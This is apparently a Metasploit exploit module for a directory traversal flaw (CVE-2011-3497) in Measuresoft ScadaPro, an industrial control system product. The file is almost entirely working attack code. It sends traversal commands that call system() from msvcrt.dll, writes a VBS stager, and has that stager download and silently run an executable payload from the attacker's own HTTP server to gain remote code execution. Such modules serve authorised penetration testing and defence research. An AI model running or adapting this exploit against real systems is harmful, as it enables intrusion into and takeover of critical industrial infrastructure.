##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Measuresoft ScadaPro Remote Command Execution',
      'Description'    => %q{
        This module allows remote attackers to execute arbitrary commands on the
        affected system by abusing via Directory Traversal attack when using the
        'xf' command (execute function). An attacker can execute system() from
        msvcrt.dll to upload a backdoor and gain remote code execution. This
        vulnerability affects version 4.0.0 and earlier.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma',                           # Initial discovery/poc
          'mr_me <steventhomasseeley[at]gmail.com>',  # msf
          'TecR0c <tecr0c[at]tecninja.net>',          # msf
        ],
      'References'     =>
        [
          [ 'CVE', '2011-3497'],
          [ 'OSVDB', '75490'],
          [ 'BID', '49613'],
          [ 'URL', 'http://aluigi.altervista.org/adv/scadapro_1-adv.txt'],
          [ 'URL', 'http://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf'],
          # seemed pretty accurate to us ;)
          [ 'URL', 'http://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaPro-400-Vulnerability.aspx'],
        ],
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # truly universal
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 16 2011'))

      register_options(
      [
        Opt::RPORT(11234),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
      ])
  end

  # couldn't generate a vbs or exe payload and then use the wF command
  # as there is a limit to the amount of data to write to disk.
  # so we just write out a vbs script like the old days.

  def build_vbs(url, stager_name)
    name_xmlhttp = rand_text_alpha(2)
    name_adodb   = rand_text_alpha(2)

    tmp = "#{@temp_folder}/#{stager_name}"

    vbs  = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
    vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
    vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
    vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
    vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
    vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
    vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"

    return vbs
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.exe/
      print_status("Sending 2nd stage payload")
      return if ((p=regenerate_payload(cli)) == nil)
      data = generate_payload_exe( {:code=>p.encoded} )
      send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
      return
    end
  end

  def exploit
    # In order to save binary data to the file system the payload is written to a .vbs
    # file and execute it from there.
    @payload_name = rand_text_alpha(4)
    @temp_folder  = "C:/Windows/Temp"

    if datastore['SRVHOST'] == '0.0.0.0'
      lhost = Rex::Socket.source_address('50.50.50.50')
    else
      lhost = datastore['SRVHOST']
    end

    payload_src  = lhost
    payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"

    stager_name = rand_text_alpha(6) + ".vbs"
    stager      = build_vbs(payload_src, stager_name)

    path = "..\\..\\..\\..\\..\\windows\\system32"

    createvbs = "xf%#{path}\\msvcrt.dll,system,cmd /c #{stager}\r\n"
    download_execute = "xf%#{path}\\msvcrt.dll,system,start #{@temp_folder}/#{stager_name}\r\n"

    print_status("Sending 1st stage payload...")

    connect
    sock.get_once()
    sock.put(createvbs)
    sock.get_once()
    sock.put(download_execute)
    handler()
    disconnect

    super
  end
end
